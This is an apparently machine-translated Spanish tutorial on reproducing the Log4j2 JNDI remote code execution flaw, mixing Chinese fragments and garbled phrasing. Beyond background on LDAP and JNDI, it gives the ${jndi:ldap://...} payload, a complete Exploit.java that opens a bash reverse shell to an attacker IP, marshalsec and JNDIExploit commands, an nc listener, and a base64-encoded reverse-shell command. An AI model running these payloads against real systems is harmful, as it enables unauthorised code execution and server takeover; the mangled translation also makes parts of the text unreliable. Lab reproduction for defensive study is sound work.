Directorio de artículos
- 1.log4j2
- 2. Fondo
- 3. Versiones afectadas
- 4. Principio de las lagunas
- 5. ¿Qué son LDAP y JNDI?
- 6. Reproducción manual de vulnerabilidades
-
- 1. Utilice DNSlog para probar si existe la vulnerabilidad
- 2. Cargue el archivo malicioso Exploit.java y compílelo en un archivo de clase.
- 3. Inicie el servicio web
- 4. Habilite el servicio LDAP en el directorio donde se encuentra el archivo malicioso Exploit.class.
- 5. Supervise el puerto en busca de carcasa de rebote.
- 6. Regrese al front-end y permita que la víctima acceda al puerto ldap.
- 7. Resumen de puntos clave
- 7. Recurrencia de herramientas de vulnerabilidad
- 8. Resumen
1.log4j2
Log4j2 es un marco de registro de Java ampliamente utilizado en el mundo. Al mismo tiempo, esta vulnerabilidad también afecta a muchos componentes comunes de código abierto en la secuencia superior de uso global.
2. Fondo
------ El 24 de noviembre de 2021, el equipo de seguridad de Alibaba Cloud informó a los funcionarios de Apache sobre la vulnerabilidad de ejecución remota de código Apache Log4j2. Debido a la función de análisis recursivo de algunas funciones de Apache Log4j2, los atacantes pueden construir directamente solicitudes maliciosas y desencadenar vulnerabilidades de ejecución remota de código.
------ El 9 de diciembre de 2021, muchas instituciones nacionales detectaron vulnerabilidades de ejecución de código arbitrario en Apache Log4j2 e informaron urgentemente la situación relevante. 由于Apache Log4j存在递归解析功能,未取得身份认证的用户,可以从远程发送数据请求输入数据日志,轻松触发漏洞,最终在目标上执行任意代码
. Dado que Apache Log4j involucra múltiples componentes de aplicaciones, el nivel de amenaza de esta vulnerabilidad se ajusta a: crítico.
3. Versiones afectadas
Log4j2.x<=2.14.1
4. Principio de las lagunas
- La carga útil construida es la siguiente:
${jndi:ldap://xxx.xxx.xxx.xxx:1389/Exp}
------ Esta vulnerabilidad se debe a la función de análisis recursivo de algunas funciones de Apache Log4j2. Un atacante no autenticado puede ejecutar código arbitrario en el servidor de destino enviando paquetes de datos maliciosos específicos.
------ Cuando el componente Log4j2 maneja registros de programas 存在JNDI注入缺陷
, un atacante no autorizado puede aprovechar esta vulnerabilidad para enviar datos maliciosos cuidadosamente construidos al servidor de destino, desencadenando la falla de análisis en el componente Log4j2 y logrando la ejecución de código arbitrario en el servidor de destino. Obtener permisos en el servidor de destino.
5. ¿Qué son LDAP y JNDI?
------ El nombre completo de LDAP es Protocolo ligero de acceso a directorios. LDAP puede entenderse como una base de datos que simplemente almacena datos.
------ Hay unoLDAPEl 客户端和服务器端
lado del servidor se usa para almacenar recursos y el lado del cliente se usa principalmente para consultas y otras operaciones. Todos los servidores son productos de los principales fabricantes, como AD de Microsoft, por supuesto, puede hacerlos usted mismo. El cliente accede al servidor a través del protocolo LDAP.
------ JNDI (JAVA NAMING AND Directory interface, Java Naming and Directory Interface) es la API utilizada para acceder a LDAP en Java. Es una API unificada proporcionada para que los programas Java accedan a servicios de nombres y servicios de directorio.
------ Entonces payload ${jndi:ldap://xxx.xxx.xxx.xxx:1389/Exp}
eso es lo anterior 相当于ldap通过jndi来提供服务
. xxx.xxx.xxx.xxx es la dirección IP del servidor LDAP. El servidor LDAP abre el puerto 1389 de forma predeterminada. Exp es un nombre de archivo que no existe. Para decirlo sin rodeos, se trata de acceder al servicio del protocolo ldap a través de JNDI en Java.
6. Reproducción manual de vulnerabilidades
1. Utilice DNSlog para probar si existe la vulnerabilidad
Obtenga un nombre de dominio en DNSlog: dfkemb.dnslog.cn
Construya la carga útil en burp y reenvíe
${jndi:ldap:// dfkemb.dnslog.cn:1389/Exp}
y agregue el paquete de retorno al eco 400, lo que significa que la carga útil se ha filtrado. En este momento, la carga útil puede codificarse en URL y luego enviarse.
Regrese al DNSlog para verificar,
esto indica que existe una vulnerabilidad.
2. Cargue el archivo malicioso Exploit.java y compílelo en un archivo de clase.
Utilice javac para la compilación, pero esto requiere la versión de Java. La versión jdk aplicable a la versión de Java: JDK 11.0.1, 8u191, 7u201, 6u211 y anteriores
El siguiente es el contenido de Exploit.java
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {
"bash", "-c", "bash -i >& /dev/tcp/192.168.188.177/1234 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
Compile usando javac: javac Exploit.java
producirá un archivo Exploit.class después de la compilación
3. Inicie el servicio web
python3 -m http.servidor 80
4. Habilite el servicio LDAP en el directorio donde se encuentra el archivo malicioso Exploit.class.
Herramienta de explotación: marshalsec-0.0.3-SNAPSHOT-all.jar
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.188.177/#Exploit" 9999
Este paso equivale a convertir la máquina de ataque en un servidor, permitiendo que el servidor de destino acceda a mi máquina de ataque como cliente.
5. Supervise el puerto en busca de carcasa de rebote.
nc-lvnp 1234
6. Regrese al front-end y permita que la víctima acceda al puerto ldap.
Finalmente, regrese a la ventana de escucha y verifique:
El shell se ha recuperado exitosamente aquí.
7. Resumen de puntos clave
- Los pasos 2, 3, 4 y 5 anteriores se realizan todos en el lado del atacante, y solo el paso 6 se realiza en el front-end normal.
- Arriba se abren un total de 3 puertos, a saber, 80, 1234 y 9999. Esto corresponde a: servicio web, shell de rebote receptor y servicio ldap.
7. Recurrencia de herramientas de vulnerabilidad
1. Herramientas utilizadas: JNDIExploit-1.2-SNAPSHOT.jar
-i是攻击机所在的IP,-l是LDAP服务开启的端口,-p是web服务开启的端口,-u是攻击后payload的使用方式。
POC:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -l 1389 -p 8888 -i 192.168.188.177
Utilice -u para ver la carga útil utilizada
Seleccione una carga útil para enviar la solicitud en el front-end.
Aquí elegí ldap://null:1389/Basic/Command/[cmd].
2, herramientas utilizadas: JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
POC:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xNzcvMjg4OCAwPiYx
}|{base64,-d}|{bash,-i}” -A “192.168.188.177”
Entre ellos: YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xNzcvMjg4OCAwPiYx
es bash -i >& /dev/tcp/192.168.188.177/2888 0>&1
el comando de shell de rebote.codificación base64
La POC anterior es para permitir que la víctima acceda a 192.168.188.177:1389, el ataque finalice con el servicio LDAP habilitado y luego rebote el shell a la dirección y puerto 192.168.188.177:2888.
Como se muestra a continuación,
el POC al que la víctima desea acceder es: ldap://192.168.101.130:1389/ayox8z
8. Resumen
------ La vulnerabilidad de Log4j2 es generalmente la siguiente: porque Log4j2 admite el análisis del protocolo ldap/rmi de forma predeterminada (siempre que el registro impreso incluya el protocolo ldap/rmi) y obtendrá los datos correspondientes del servidor ldap. por nombre.Archivo de clase y use ClassLoader para cargar localmente la clase Class devuelta por el servidor Ldap.
------ La vulnerabilidad de ejecución remota de código de Apache Log4j se debe a la vulnerabilidad de inyección Java JNDI en el componente: cuando el programa registra los datos ingresados por el usuario en el registro, el atacante activa el código remoto en Apache Log4j2 mediante la construcción una solicitud especial Vulnerabilidad de ejecución, que puede explotarse para ejecutar código arbitrario en el servidor de destino.
------ Después de usar jndi para acceder al servicio ldap, el servicio ldap devolvió el código de ataque de clase y el servidor atacado ejecutó el código de ataque. La vulnerabilidad de ejecución remota de código utiliza Log4j2 para analizar y ejecutar "${}" en el registro para llevar a cabo el ataque.
------ En pocas palabras, la interfaz jndi existe en Java para acceder al servicio ldap, porque Log4j2 admite el análisis del protocolo ldap / rmi de forma predeterminada. Cuando un servidor normal accede al servicio ldap, analizará directamente la clase archivo en el servicio sin filtrar. El atacante se aprovecha de esto y escribe código malicioso en el archivo de clase. Cuando el servidor normal accede al servicio ldap, el archivo de clase que contiene el código malicioso será analizado y ejecutado, por lo que será atacado.